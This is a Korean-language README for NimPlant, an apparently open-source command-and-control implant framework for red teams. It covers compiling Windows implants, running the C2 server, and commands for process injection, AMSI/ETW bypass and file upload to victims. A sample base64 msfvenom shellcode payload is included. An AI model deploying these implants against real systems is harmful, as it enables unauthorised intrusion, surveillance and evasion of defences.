NimPlant - Nim|Rust 및 Python으로 작성된 가벼운 초기 단계 C2 임플란트

제작자 Cas van Cooten (@chvancooten), 특별 감사를 드리는 분들:

Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl) , Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), 그리고 다른 많은 분들!

NimPlant가 유용하셨거나 제 작업을 일반적으로 좋아하신다면, 여러분의 지원을 환영합니다:

기능 개요

Nim 및 Rust 프로그래밍 언어로 작성된 가볍고 구성 가능한 임플란트
모든 작업 중 멋져 보이게 하는 예쁜 웹 GUI
기본적으로 모든 트래픽의 암호화 및 압축, 임플란트 아티팩트의 정적 문자열 난독화
네이티브 바이너리(exe/dll), 셸코드 또는 자체 삭제 실행 파일을 포함한 여러 임플란트 유형 지원
로컬 열거, 파일 또는 레지스트리 관리, 웹 상호작용을 포함한 초기 단계 작업에 중점을 둔 다양한 명령 선택
inline-execute, shinject(동적 호출 사용), 사용자 지정 실행 공간의 powershell, 또는 스레드 내 execute-assembly를 통한 고급 기능 또는 페이로드의 쉬운 배포
모든 플랫폼에서의 작업 지원, 현재 임플란트는 x64 Windows만 대상
모든 상호작용 및 파일 작업에 대한 포괄적인 로깅
더 많은 기능은 아래를 참고하세요 :)

지침

설치

NimPlant를 실행하려면 최신 버전의 Python3가 필요합니다.

서버

서버 폴더에서 requirements.txt 설치 (pip3 install -r server/requirements.txt).

임플란트 (Nim)

플랫폼에 맞는 Nim 툴체인 설치 (choosenim을 통한 설치 권장, apt가 항상 최신 버전을 제공하지 않음).
Nimble 패키지 매니저를 사용하여 필요한 패키지 설치 (cd client; nimble install -d).
Linux 또는 MacOS를 사용하는 경우, 플랫폼에 맞는 mingw 툴체인 설치 (brew install mingw-w64 또는 apt install mingw-w64).
특히 ArchLinux를 사용하는 경우, 이 gist에 따라 Mingw 설정을 수정하세요 (@tothi님 감사합니다!).

임플란트 (Rust)

Rust 툴체인 설치 (rustup을 통한 설치 권장).
MinGW Windows 타겟 설치: rustup target add x86_64-pc-windows-gnu.
보안 강화를 위해 권장: ~/.cargo/config.toml 파일을 Cargo.toml에 따라 수정하고 nightly 빌드 체인 사용 (rustup default nightly).

참고: Windows에서 컴파일하는 경우에도 x86_64-pc-windows-gnu 타겟을 권장합니다. 결과 바이너리가 약간 더 크지만 결과 DLL에서 셸코드를 생성할 때 더 안정적인 것으로 보입니다. rust-toolchain.toml을 수정하여 타겟을 x86_64-pc-windows-msvc로 변경할 수 있지만 생성된 셸코드가 모든 경우에 올바르게 작동하지 않을 수 있습니다.

시작하기

구성

NimPlant를 사용하기 전에 구성 파일 config.toml을 생성하세요. config.toml.example을 복사하여 작업하는 것을 권장합니다.

설정 개요는 아래에 제공됩니다.

컴파일

구성을 원하는 대로 설정한 후, 대상에 배포할 NimPlant 바이너리를 생성할 수 있습니다. 현재 NimPlant는 (자체 삭제) 실행 파일, 라이브러리 및 위치 독립적 셸코드(sRDI를 통해)에 대해 각각 .exe, .dll, .bin 바이너리를 지원합니다. 생성하려면 python nimplant.py compile을 실행한 다음 원하는 바이너리(exe, exe-selfdelete, dll, raw 또는 all)를, 선택적으로 임플란트 유형(nim, rust, nim-debug 또는 rust-debug - 기본적으로 Nim 컴파일)을 입력하세요. 파일은 각각 client/bin/ 또는 client-rs/bin/에 기록됩니다.

컴파일 중에 새 XOR 키를 생성하고 사용하려면 rotatekey 인수를 전달할 수 있습니다.

참고:

NimPlant는 현재 x64만 지원합니다!

DLL 파일의 진입점은 Update이며, 모든 진입점에 대해 DllMain에 의해 트리거됩니다. 즉, 예를 들어 rundll32 .\NimPlant.dll,Update를 사용하여 트리거하거나 선택한 LOLBIN을 사용하여 사이드로드할 수 있습니다(client/NimPlant.nim 또는 client-rs/src/lib.rs에서 약간의 수정이 필요할 수 있음).``` PS C:\NimPlant> python .\nimplant.py compile all

            *    *(#    #
            **  **(##  ##
   ########       (       ********
  ####(###########************,****
     # ########       ******** *
     .###                   ***
     .########         ********
     ####    ###     ***    ****
   ######### ###     *** *********
 #######  ####  ## **  ****  *******
 #####    ##      *      **    *****
 ######  ####   ##***   **** .******
 ###############     ***************
      ##########     **********
         #########**********
           #######********

| \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

  A light-weight stage 1 implant and C2 based on Nim|Rust and Python
  By Cas van Cooten (@chvancooten)

Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in 'client/bin/'.

### Docker를 사용한 컴파일

Docker를 사용하면 모든 필수 빌드 타임 및 런타임 종속성이 컨테이너에 사전 설치되어 있으므로 쉽고 종속성 문제를 피할 수 있습니다.

Docker를 사용하려면 [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant)에서 제공하는 공개 `chvancooten/nimplant` 컨테이너를 사용하거나(CI/CD로 빌드됨) 소스에서 `Dockerfile`을 빌드할 수 있습니다.

> 소스에서 빌드하려면 메인 디렉토리에서 다음을 실행하세요:
> 
> ```bash
> docker build . -t nimplant
> ```

그러면 `nimplant:latest` 태그가 지정된 컨테이너가 빌드됩니다. 참고: 개발 종속성으로 인해 시간이 걸리고 상당한 크기의 컨테이너가 생성될 수 있습니다!

이 작업이 완료되면 명령줄에서 컨테이너를 실행하여 아티팩트를 컴파일할 수 있습니다.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust

참고: 이는 예시 명령어입니다. 마운트된 볼륨과 같은 인수는 자신의 상황에 맞게 조정해야 합니다.

서버 시작

바이너리가 준비되면 NimPlant 서버를 실행할 수 있습니다! 로컬에서 컴파일했다면 동일한 config.toml 파일을 읽으므로 추가 설정이 필요하지 않습니다. 서버를 시작하려면 python nimplant.py server를 실행하면 됩니다(Linux에서 실행하는 경우 sudo 권한 필요). Nimplant가 체크인하면 콘솔을 사용하거나 기본적으로 http://localhost:31337에서 웹 인터페이스에 접근할 수 있습니다.

참고 사항:

바이너리가 컴파일된 머신과 다른 곳에서 NimPlant 서버를 실행하는 경우, config.toml과 .xorkey가 일치하는지 확인하세요. 그렇지 않으면 NimPlant가 연결할 수 없습니다.
웹 프론트엔드나 API는 인증을 지원하지 않으므로, 보안 역방향 프록시 없이 프론트엔드 포트를 신뢰할 수 없는 네트워크에 노출하지 마십시오!
NimPlant가 서버에 연결할 수 없거나 연결이 끊어지면 재등록을 시도하기 전에 지수 백오프 방식으로 5회 재시도합니다. 추가로 5회 등록에 실패하면(동일한 백오프 로직) 스스로 종료됩니다. 백오프는 실패할 때마다 대기 시간을 3배로 늘립니다. 예를 들어, 대기 시간이 10초인 경우 10초, 30초(3^1 * 10), 90초(3^2 * 10), 270초(3^3 * 10), 810초를 기다린 후 포기합니다(이 매개변수는 하드코딩되어 있지만 client/NimPlant.nim에서 변경 가능).
로그는 server/logs 디렉토리에 저장됩니다. 각 서버 인스턴스는 새 로그 폴더를 생성하며, 로그는 콘솔/nimplant 세션별로 분할됩니다. 다운로드 및 업로드(웹 GUI를 통해 업로드된 파일 포함)는 각각 server/uploads 및 server/downloads 디렉토리에 저장됩니다.
Nimplant 및 서버 세부 정보는 server/nimplant.db의 SQLite 데이터베이스에 저장됩니다. 이 데이터는 서버 재시작 후 Nimplants를 복구하는 데도 사용됩니다.

로그, 업로드/다운로드 파일 및 데이터베이스는 cleanup 플래그와 함께 nimplant.py를 실행하여 정리할 수 있습니다. 주의: 이렇게 하면 모든 것이 삭제되므로 필요한 것을 먼저 백업하세요!``` PS C:\NimPlant> python .\nimplant.py server

            *    *(#    #
            **  **(##  ##
   ########       (       ********
  ####(###########************,****
     # ########       ******** *
     .###                   ***
     .########         ********
     ####    ###     ***    ****
   ######### ###     *** *********
 #######  ####  ## **  ****  *******
 #####    ##      *      **    *****
 ######  ####   ##***   **** .******
 ###############     ***************
      ##########     **********
         #########**********
           #######********

[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.

이렇게 하면 C2 API와 관리 웹 서버(위 예에서는 `http://127.0.0.1:31337`)와 NimPlant 리스너(위 예에서는 `https://0.0.0.0:443`)가 모두 시작됩니다. NimPlant가 연결되면 웹 인터페이스와 콘솔을 통해 NimPlant에 명령을 보낼 수 있습니다.

### Docker로 서버 시작하기

컴파일에 사용할 수 있는 동일한 `chvancooten/nimplant` 컨테이너를 NimPlant 서버 실행에도 사용할 수 있습니다. NimPlant가 서버를 인식하려면 `config.toml` 및 `.xorkey` 파일이 NimPlant가 컴파일된 시스템과 일치해야 합니다(Docker 컨테이너를 컴파일용으로 사용했다면 자동으로 올바릅니다). 또한 `config.toml` 파일을 Docker에 맞게 올바르게 구성해야 합니다. 특히 관리 서버 IP는 `0.0.0.0`으로 설정해야 Docker를 통해 접근할 수 있습니다(호스트의 로컬 인터페이스에서만 노출되도록 주의).

아래 예시 명령어로 NimPlant 서버를 실행할 수 있습니다.```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server

참고: 이는 예제 명령입니다. 마운트된 볼륨과 같은 인수를 자신의 상황에 맞게 조정해야 합니다.

Docker를 사용하면 더 복잡한 설정을 쉽게 구성할 수 있습니다. 예를 들어, docker-example 디렉토리에는 docker-compose.yml 파일이 포함되어 있으며, 이는 HTTPS 및 더미 랜딩 페이지를 사용하여 Nginx 리다이렉터 뒤에 NimPlant를 노출하는 방법을 보여줍니다.

사용법

사용 가능한 명령은 다음과 같습니다. help [command]를 입력하면 모든 명령에 대한 자세한 도움말을 볼 수 있습니다. (GUI)로 표시된 특정 명령은 웹 인터페이스를 사용할 때 그래픽으로 구성할 수 있으며, 이는 인수 없이 명령을 호출하여 수행할 수 있습니다.``` Command arguments shown as [required] . Commands with (GUI) can be run without parameters via the web UI.

cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.

#### 비콘 오브젝트 파일(BOF) 사용하기

**참고: BOF는 본질적으로 휘발성이므로, 결함이 있는 BOF를 실행하거나 잘못된 인수 또는 유형을 전달하면 NimPlant 세션이 중단될 수 있습니다! 배포 전에 BOF를 테스트하십시오!**

NimPlant는 훌륭한 [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) 및 [Coffee](https://github.com/hakaioffsec/coffee) (Rust) 프로젝트 덕분에 BOF의 메모리 내 로딩을 지원합니다. BOF를 실행하려면 로컬에서 컴파일된 BOF 오브젝트 파일(일반적으로 `bofname.x64.o`와 같은 이름), 진입점(보통 `go`), 그리고 각각의 인수 유형이 포함된 인수 목록이 필요합니다. 인수는 공백으로 구분된 `arg argtype` 쌍으로 전달됩니다.

인수는 "Zzsib" 형식에 따라 제공되며, `string` (별칭: `z`), `wstring` (또는 `Z`), `integer` (별칭: `int` 또는 `i`), `short` (`s`), 또는 `binary` (`bin` 또는 `b`) 중 하나일 수 있습니다. 바이너리 인수는 원시 바이너리 문자열 또는 base64로 인코딩될 수 있으며, 잘못된 문자를 피하기 위해 후자가 권장됩니다.

사용 예시(훌륭한 TrustedSec BOFs [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)]를 예로 든)는 아래와 같습니다. 인수 없이 `inline-execute` 명령을 사용하면 GUI에서 그래픽으로 명령을 구성할 수 있습니다.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

푸시 알림

기본적으로 NimPlant는 server/util/notify.py에 정의된 notify_user() 훅을 통해 푸시 알림을 지원합니다. 기본적으로는 간단한 Telegram 알림을 구현하며, 이를 작동시키려면 TELEGRAM_CHAT_ID 및 TELEGRAM_BOT_TOKEN 환경 변수가 설정되어 있어야 합니다. 물론, 코드를 쉽게 확장하여 자신만의 푸시 알림 기능을 추가할 수 있습니다. notify_user() 훅은 새로운 NimPlant가 체크인할 때 호출되며, NimPlant 세부 정보가 포함된 객체를 받아 원하는 대로 푸시할 수 있습니다.

프론트엔드 빌드

일반 사용자라면 Nimplant에 포함된 UI를 수정하거나 다시 빌드할 필요가 없습니다. 그러나 변경을 원할 경우 NodeJS를 설치하고 ui 디렉토리에서 npm install을 실행한 후 ui/build-ui.py를 실행하세요. 이 과정을 통해 패키지를 가져오고, Next.JS 프론트엔드를 컴파일하며, Nimplant 서버가 사용할 수 있도록 파일을 올바른 위치에 배치합니다.

프로덕션 사용 및 OPSEC에 관한 한마디

NimPlant는 학습 프로젝트로 개발되었으며 투명성과 교육 목적으로 공개되었습니다. 기본 제공 임플란트의 목표는 아닙니다. 대부분의 경우 NimPlant는 의도를 숨기려는 노력을 하지 않습니다. 또한, 악용을 방지하기 위한 보호 조치가 마련되어 있습니다. 즉, 철저한 소스 코드 검토 및 수정 없이 프로덕션 환경에서 NimPlant를 있는 그대로 사용하지 마십시오! 또한, 다른 C2 프레임워크와 마찬가지로 특정 명령을 실행할 때의 OPSEC 지문(fingerprint)을 배포 전에 고려해야 합니다. config.toml에서 riskyMode를 false로 설정하면 OPSEC 위험 명령을 제외하고 NimPlant를 컴파일할 수 있습니다.

문제 해결

Nimplant가 컴파일되거나 실행되지 않는 데는 여러 이유가 있습니다. 문제가 발생하면 다음 단계를 순서대로 시도해 보십시오:

위의 '설치' 섹션에 설명된 단계를 따랐는지 확인하고, 모든 종속성이 설치되었으며 버전이 일치하는지 다시 확인하십시오.
위의 '컴파일' 섹션에 설명된 단계를 따랐는지 확인하고, Docker 컨테이너를 사용하여 종속성 문제를 배제했는지 확인하십시오.
server/logs 디렉토리의 로그에서 오류를 확인하십시오.
nim-debug 또는 rust-debug 컴파일 모드를 시도하여 콘솔 및 디버그 메시지(.exe만 해당)가 포함된 컴파일을 통해 오류 메시지가 반환되는지 확인하십시오.
다른 OS 또는 다른 툴체인에서 컴파일하여 동일한 오류가 발생하는지 확인하십시오.
위의 모든 방법이 실패하면 이슈를 제출하십시오. 적절한 빌드 정보(OS, nim/rust/python 버전, 종속성 버전)와 위 문제 해결 단계의 결과를 포함해야 합니다. 불완전한 이슈는 통보 없이 종료될 수 있습니다.

server	ip	C2 웹 서버(API 포함)가 수신할 IP입니다. 127.0.0.1 사용을 권장하며, C2를 보호하기 위해 적절한 방화벽 또는 라우팅 규칙을 설정한 경우에만 0.0.0.0을 사용하세요.
server	port	C2 웹 서버(API 포함)가 수신할 포트입니다.
listener	type	리스너 유형, HTTP 또는 HTTPS. HTTPS 옵션은 아래에서 구성합니다.
listener	sslCertPath	HTTPS 인증서 파일의 로컬 경로(예: LetsEncrypt CertBot을 통해 요청하거나 자체 서명). 리스너 유형이 'HTTP'인 경우 무시됩니다.
listener	sslKeyPath	해당 HTTPS 인증서 개인 키 파일의 로컬 경로. 설정된 경우 NimPlant 서버 실행 시 비밀번호를 묻습니다. 리스너 유형이 'HTTP'인 경우 무시됩니다.
listener	hostname	리스너 호스트 이름. 비어 있지 않은 경우(""), NimPlant는 이 호스트 이름을 사용하여 연결합니다. 이 호스트에서 NimPlant 리스너 포트로 트래픽이 올바르게 라우팅되도록 하세요.
listener	ip	리스너 IP. 'hostname'이 설정된 경우에도 필요합니다. 서버가 이 IP에 등록하는 데 사용됩니다.
listener	port	리스너 포트. 'hostname'이 설정된 경우에도 필요합니다. 서버가 이 포트에 등록하는 데 사용됩니다.
listener	registerPath	새 NimPlant가 등록할 URI 경로입니다.
listener	taskPath	NimPlant가 작업을 받을 URI 경로입니다.
listener	resultPath	NimPlant가 결과를 제출할 URI 경로입니다.
nimplant	riskyMode	위험한 명령을 지원하도록 NimPlant를 컴파일합니다. 운영자 재량이 필요합니다. 비활성화하면 `execute-assembly`, `powershell`, `shell` 및 `shinject`에 대한 지원이 제거됩니다.
nimplant	sleepMask	NimPlant에 일반 sleep 호출 대신 Ekko sleep mask를 사용할지 여부. 현재는 일반 실행 파일에서만 작동합니다!
nimplant	sleepTime	새 NimPlant의 기본 sleep 시간(초)입니다.
nimplant	sleepJitter	새 NimPlant의 기본 지터(%)입니다.
nimplant	killDate	NimPlant의 종료 날짜(형식: yyyy-MM-dd). 이 날짜가 지나면 NimPlant가 종료됩니다.
nimplant	userAgent	NimPlant에서 사용하는 사용자 에이전트입니다. 서버에서도 이를 사용하여 NimPlant 트래픽을 검증하므로 눈에 띄지 않지만 너무 흔하지 않은 UA를 선택하는 것이 좋습니다.

NimPlant

인기